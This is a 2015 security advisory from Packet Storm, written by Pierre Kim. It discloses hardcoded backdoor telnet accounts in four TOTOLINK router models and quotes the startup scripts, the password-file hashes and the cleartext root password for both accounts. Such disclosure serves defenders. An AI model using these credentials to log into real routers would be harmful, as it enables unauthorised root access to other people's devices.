4 TOTOLINK Routers Backdoored

2015-07-16T00:00:00
ID PACKETSTORM:132711
Type packetstorm
Reporter Pierre Kim
Modified 2015-07-16T00:00:00

Description

                                        
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## Advisory Information  
  
Title: Backdoor credentials found in 4 TOTOLINK router models  
Advisory URL: https://pierrekim.github.io/advisories/2015-totolink-0x03.txt  
Blog URL: https://pierrekim.github.io/blog/2015-07-16-backdoor-credentials-found-in-4-TOTOLINK-products.html  
Date published: 2015-07-16  
Vendors contacted: None  
Release mode: 0days, Released  
CVE: no current CVE  
  
  
  
## Product Description  
  
TOTOLINK is a brother brand of ipTime which wins over 80% of SOHO  
markets in South Korea.  
TOTOLINK produces routers routers, wifi access points and network  
devices. Their products are sold worldwide.  
  
  
  
## Vulnerabilities Summary  
  
Backdoor credentials are present in several TOTOLINK products.  
  
It affects 4 TOTOLINK products (firmwares come from totolink.net and  
from totolink.cn):  
  
- G150R-V1 : last firmware 1.0.0-B20150330  
(TOTOLINK-G150R-V1.0.0-B20150330.1734.web)  
- G300R-V1 : last firmware 1.0.0-B20150330  
(TOTOLINK-G300R-V1.0.0-B20150330.1816.web)  
- N150RH-V1 : last firmware 1.0.0-B20131219  
(TOTOLINK-N150RH-V1.0.0-B20131219.1014.web)  
- N301RT-V1 : last firmware 1.0.0 (TOTOLINK N301RT_V1.0.0.web)  
  
It allows an attacker in the LAN to connect to the device using telnet  
with 2 different accounts: root and 'onlime_r' which gives with root  
privileges.  
  
  
  
## Details - G150R-V1 and G300R-V1  
  
The init.d script executes these commands when the router starts:  
  
[...]  
cp /etc/passwd_orig /var/passwd  
cp /etc/group_orig /var/group  
telnetd&  
[...]  
  
  
The /etc/passwd_orig contains backdoor credentials:  
  
root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh  
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh  
nobody:x:0:0:nobody:/:/dev/null  
  
The corresponding passwords are:  
  
root:12345  
onlime_r:12345  
  
  
## Details - N150RH-V1 and N301RT  
  
The init.d script executes these commands when the router starts:  
  
[...]  
#start telnetd  
telnetd&  
[...]  
  
The binary /bin/sysconf executes these commands when the router starts:  
  
system("cp /etc/passwd.org /var/passwd 2> /dev/null")  
  
  
The /etc/passwd.org contains backdoor credentials:  
  
root:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh  
onlime_r:$1$01OyWDBw$Hrxb2t.LtmiiJD49OBsCU/:0:0:root:/:/bin/sh  
nobody:x:0:0:nobody:/:/dev/null  
  
The corresponding passwords are:  
  
root:12345  
onlime_r:12345  
  
  
  
## Vendor Response  
  
TOTOLINK was not contacted in regard of this case.  
  
  
  
## Report Timeline  
  
* Jun 25, 2015: Backdoor found by analysing TOTOLINK firmwares.  
* Jun 26, 2015: working PoCs.  
* Jul 16, 2015: A public advisory is sent to security mailing lists.  
  
  
  
## Credit  
  
These backdoor credentials were found Pierre Kim (@PierreKimSec).  
  
  
  
## References  
  
https://pierrekim.github.io/advisories/2015-totolink-0x03.txt  
  
  
  
## Disclaimer  
  
This advisory is licensed under a Creative Commons Attribution Non-Commercial  
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/  
  
  
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--   
Pierre Kim  
pierre.kim.sec@gmail.com  
@PierreKimSec  
https://pierrekim.github.io/  
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